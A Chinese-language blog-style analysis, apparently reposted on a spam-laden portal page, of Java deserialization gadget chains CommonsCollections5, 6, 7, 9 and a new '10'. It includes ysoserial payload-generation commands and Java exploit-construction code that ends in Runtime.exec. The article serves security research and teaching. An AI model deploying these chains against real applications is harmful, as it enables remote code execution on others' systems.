宜賓在線_宜賓最專業的企業資訊門戶網站
加入收藏 網站地圖

福彩:Java反序列化利用鏈分析之CommonsCollections5,6,7,9,10

來源:時間:2020-03-23 08:14:57 閱讀:-

福彩 www.otoab.com

0x00 前言

本文繼續分析CommonsCollections:3.1的相關反序列化利用鏈,這次主要分析CommonsCollections5,6,7,9,以及我找的一個新利用鏈,這里暫且將其稱為10.

0x01 環境準備

CommonsCollections5,6,7,10用的還是commons-collections:3.1,jdk用7或8都可以。
CommonsCollections9適用于3.2.1

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "open /System/Applications/Calculator.app" > commonscollections5.ser
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 "open /System/Applications/Calculator.app" > commonscollections6.ser
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections7 "open /System/Applications/Calculator.app" > commonscollections7.ser

0x02 利用鏈分析

1. 背景回顧

前面提到過CommonsCollections1和3在構造AnnotationInvocationHandler時用到了Override.class。但是如果你在jdk8的環境下去載入生成的payload,會發生java.lang.Override missing element entrySet的錯誤。

這個錯誤的產生原因主要在于jdk8更新了AnnotationInvocationHandler參考

jdk8不直接調用s.defaultReadObject來填充當前的AnnotaionInvocationHandler實例,而選擇了單獨填充新的變量。

這里我們回顧一下,1和3的payload的觸發點是LazyMap.get函數,而觸發這個函數需要使得memberValues為LazyMap對象

顯然,jdk8的操作使得memberValues并不是我們構造好的LazyMap類型。在調試中,可以看到此時的memberValues為LinkedHashMap對象,該對象無法獲得entrySet的內容,所以會報前面的這個錯誤。

jdk8下CommonsCollections1和3無法成功利用了,但是如果我們可以找到一個替代AnnotationInvocationHandler的利用方式呢?這就是本文要講的CommonsCollections5,6,7所做出的改變。

2. 重新構造前半部分利用鏈—CommonsCollections5

CommonsCollections5與1的區別在于AnnotationInvocationHandler,后部分是相同的,所以這里不分析后部分。

AnnotationInvocationHandler在前面起到的作用是來觸發LazyMap.get函數,所以我們接下來就是要重新找一個可以觸發該函數的對象。這個對象滿足

  • 類可序列化,類屬性有個可控的Map對象或Object
  • 該類的類函數上有調用這個Map.get的地方

CommonsCollections5在這里用到了TiedMapEntry,來看一下

TiedMapEntry有一個map類屬性,且在getValue處調用了map.get函數。同時toString、hashCode、equals均調用了getValue函數,這里關注toString函數。

toString函數通常在與字符串拼接時,會被自動調用。那么接下來我們需要找一個對象滿足

  • 類可序列化,類屬性有個Map.Entry對象或Object
  • 該類會自動調用這個類屬性的toString函數或前面的另外幾種

這里選擇了BadAttributeValueExpException對象,他的readObject函數會自動調用類屬性的toString函數。

需要注意的是這里System.getSecurityManager為空,換句話說,就是當前的jvm環境不能啟用安全管理器。

來看一下一整個調用鏈

BadAttributeValueExpException.readObject()
-> valObj.toString() => TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()

3. 重新構造前半部分利用鏈—CommonsCollections6

CommonsCollections6是另一種替換方式,后半部分的利用鏈還是沒有變,不作分析。

我們在2中提到了除了CommonsCollections5用的toString外,還有hashCode和equals函數也調用了getValue函數。那么是否存在調用這兩個函數的對象函數呢?答案是肯定的!

CommonsCollections6利用了TiedMapEntry的hashCode函數,來觸發LazyMap.get

我們都知道HashSet集合里不會存在相同的key,那么是如何判斷是否是相同的key呢?這里就要用到key的hashCode函數了,如果key的值相同,其hashCode返回的值也是相同的。這里的HashCode的計算在HashSet的put和add函數完成,并且HashSet從序列化數據中還原出來時會自動調用put函數,這里就給我們提供了可控的地方。

先來看一下HashSet的readObject函數

繼續跟put函數,這里其實調用的是HashMap的put函數

其中對key調用的hash()函數會調用key.hashCode函數,那么現在就很清楚了,我們只要將key的值替換成構造好的TiedMapEntry對象就可以了。注意,這里的key值其實就是HashSet.add的實例,在HashSet里的HashMap類屬性只用到了Key。

整理一下利用鏈

HashSet.readObject()
-> HashMap.put(key) => key.hashCode => TiedMapEntry.hashCode
-> TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()

4. 重新構造前半部分利用鏈—CommonsCollections7

CommonsCollections7用了Hashtable來代替AnnotationInvocationHandler,不同于前面兩種CommonsCollections7并未使用TiredMapEntry,而是用了相同key沖突的方式調用equals來觸發Lazy.get函數。

先來看一下Hashtable的readObject函數

繼續跟進reconstitutionPut

該函數將填充table的內容,其中第1236行僅當有重復數據沖突時,才會進入下面的if語句,這里我們繼續跟進equals函數

這里的equals函數取決于key的對象,利用鏈用的是LazyMap對象,實際調用的是父類AbstractMapDecorator的equals函數

這里又調用了map的equals函數,這里實際調用的是HashMap的父類AbstractMap的equals函數

在第495行調用了m.get函數,所以后面又是我們熟悉的LazyMap.get的套路了。

整理一下利用鏈

Hashtable.readObject()
-> Hashtable.reconstitutionPut
-> LazyMap.equals => AbstractMapDecorator.equals => AbstractMap.equals
-> m.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()

5. 利用鏈構造

CommonsCollections6和7的exp構造比較復雜,這里單獨拿出來講一下。

CommonsCollections6

經過前面的分析,我們可以知道CommonsCollections6需要將構造好的TiedMapEntry實例添加到HashSet的值上。

簡單的方法就是直接add

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add(entry);

復雜一點,就是ysoserail里的實現方法,采用反射機制來完成

其思路主要為:

  • 實例化一個HashSet實例
  • 通過反射機制獲取HashSet的map類屬性
  • 通過反射機制獲取HashMap(map類屬性)的table(Node<K,V>)類屬性
  • 通過反射機制獲取Node的key類屬性,并設置該key的值為構造好的TiedMapEntry實例

具體代碼如下

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");//獲取HashSet的map Field對象
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Permit.setAccessible(f);// 設置map可被訪問修改
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);// 獲取map實例的map類屬性

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");// 獲取HashMap的 table field
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Permit.setAccessible(f2);// 設置HashMap的field 可被訪問
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];// 獲取Node<k,v>實例
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");// 獲取Node的key field
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Permit.setAccessible(keyField);// 設置該Field可被訪問修改
keyField.set(node, entry);// 對node實例填充key的值為TiedMapEntry實例

經過上面的操作,最終的HashSet實例被我們嵌入了構造好的TiedMapEntry實例。

這里在調試的過程中,發現用ysoserail的Reflections來簡化exp,出來的結果有點不一樣,還沒有找到具體的原因。如果有師傅遇到過這種問題,歡迎一起討論討論!

CommonsCollections7

CommonsCollections利用的是key的hash沖突的方法來觸發equals函數,該函數會調用LazyMap.get函數

那么構造exp的關鍵就是構造一個hash沖突的LazyMap了。

這里大家可以跟一下String.hashCode函數,他的計算方法存在不同字符串相同hash的可能性,例如如下代碼

CommonsCollections7用的就是這個bug來制造hash沖突。

這里需要提一點的是觸發LazyMap.get函數

要走到第151行紅框框上,首先需要滿足的是map里不存在當前這個key

但是明顯在第一次不存在這個key后,會更新map的鍵值,這將導致下次同樣的key進來,就不會觸發后續的payload了。我們在寫exp的時候需要注意到這一點。

來看一下ysoserial的CommonsCollections7是怎么編寫的!

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

其中第兩次的put會使得會使得LazyMap2中增加了yy這個鍵值,為了保證反序列化后仍然可以觸發后續的利用鏈,這里需要將lazyMap2的yy鍵值remove掉。

6. 構造新CommonsCollections10

經過對前面1,3,5,6,7的分析,我們其實可以發現很多payload都是“雜交”的成果。那么我們是否能根據前面的分析,構造出一個新的CommonsCollections的payload呢?答案當然是肯定的,接下來講一下我找到的一個新payload利用。

這個payload為CommonsCollections6和7的結合,同CommonsCollections6類似,這里也用到了TiedMapEntry的hashCode函數

我們在分析Hashtable的reconstitutionPut函數時,看下圖

該函數在第1234行對key調用了一次hashCode函數,那么很明顯,如果key值被代替為構造好的TiedMapEntry實例,這里我們就能觸發LazyMap.get函數,后續的調用鏈就類似了。

整理一下利用鏈

Hashtable.readObject()
-> Hashtable.reconstitutionPut
-> key.hashCode() => TiedMapEntry.hashCode()
-> TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()

其實從利用鏈來看,與CommonsCollections6的區別在于前部的觸發使用了不同的對象。

接下來,結合第5點的學習,我們來寫一下這個payload的利用鏈exp

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Map innerMap = new HashMap();
final Map innerMap2 = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
Hashtable hashtable = new Hashtable();
hashtable.put("foo",1);
// 獲取hashtable的table類屬性
Field tableField = Hashtable.class.getDeclaredField("table");
Permit.setAccessible(tableField);
Object[] table = (Object[])tableField.get(hashtable);
Object entry1 = table[0];
if(entry1==null)
entry1 = table[1];
// 獲取Hashtable.Entry的key屬性
Field keyField = entry1.getClass().getDeclaredField("key");
Permit.setAccessible(keyField);
// 將key屬性給替換成構造好的TiedMapEntry實例
keyField.set(entry1, entry);
// 填充真正的命令執行代碼
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return hashtable;

7. 梅子酒師傅的CommonsCollections9

找到上面CommonsCollections10時,在網上找了一下有沒有師傅已經挖到過了,一共找到下面幾位師傅

  • https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java
  • https://github.com/frohoff/ysoserial/pull/125/commits/4edf02ba7765488cac124c92e04c6aae40da3e5d
  • https://github.com/frohoff/ysoserial/pull/116

一個一個來說

  1. 第一個Jayl1n師傅做的改變主要是最終的Runtime.getRuntime().exec改成了URLClassLoader.loadClass().newInstance的方式,前面用的還是CommonsCollections6,這里暫時不將其歸類為新的利用鏈。
  2. 第二個是梅子酒師傅提交的CommonsCollections9,主要利用的是CommonsCollections:3.2版本新增的DefaultedMap來代替LazyMap,因為這兩個Map有同樣的get函數可以被利用,這里不再具體分析。
  3. 第三個是navalorenzo師傅提交的CommonsCollections8,其利用鏈基于CommonsCollections:4.0版本,暫時不在本篇文章的分析范圍內,后面會好好分析一下。

0x03 總結

聯合前面兩篇文章CommonsCollections1、CommonsCollections3,在加上本文的CommonsCollections5,6,7,9,10。

由于網上已經有類似的文章做了總結,這里就簡單做一下CommonsCollections<=3.2.1下的反序列化利用鏈的總結。

  • 起始點AnnotationInvocationHandler的readObjectBadAttributeValueExpException的readObjectHashSet的readObjectHashtable的readObject
  • 重要的承接點LazyMap的getDefaultedMap的getTiedMapEntry的getValueProxy的invoke
  • 終點ChainedTransformer的transformInvokerTransformer的transformConstantTransformer的transform

各exp的jdk適用版本

  1. jdk7 => CommonsCollection1、3
  2. jdk7 & jdk8 => CommonsCollections5,6,7,9,10

各exp的commons-collections適用版本

  1. commons-collections<=3.1 CommonsCollections1,3,5,6,7,10
  2. commons-collections<=3.2.1 CommonsCollections1,3,5,6,7,9,10

最后的最后,commons-collections:3.x版本的反序列化利用鏈就分析到這里,其實我相信如果想繼續挖可代替的利用鏈還是會有的,就像本文挖到的CommonsCollections10,如果各位師傅有興趣可以繼續挖下去,也歡迎和各位師傅一起交流。

后續還會把commons-collections:4版本的利用鏈做一個分析,歡迎一起交流:)

commons-collections:3.2.2及以上版本的改變

前面的分析并沒有提到3.2.2版本發生了啥事,導致了利用鏈的失效,這里簡單提一下

3.2.2版本對InvokerTransformer增加了readObject函數,并且做了是否允許反序列化的檢查,在FunctorUtils.checkUnsafeSerialization函數內。

這里UNSAFE_SERIALIZABLE_PROPERTY的值默認為false,如果需要為true,需要在運行時指定。

所以在使用InvokerTransformer作為反序列化利用鏈的一部分時,會throw一個exception。除了InvokerTransformer類外,還有CloneTransformer, ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer,
PrototypeCloneFactory, PrototypeSerializationFactory, WhileClosure。所以在3.2.2版本以上,基本上利用鏈都已經廢了。

當然,這種方法治標不治本,如果可以在這些類以外,構造一個利用鏈同樣可以達到前面的效果。

圖文推薦

宜賓在線版權及免責聲明:

1、凡本網注明 “來源:***(非宜賓在線)” 的作品,均轉載自其它媒體,轉載目的在于傳遞更多信息,并不代表本網贊同其觀點和對其真實性負責。

2、如因作品內容、版權和其它問題需要同本網聯系的,請在30日內進行。

最新新聞
熱門資訊榜
{ganrao}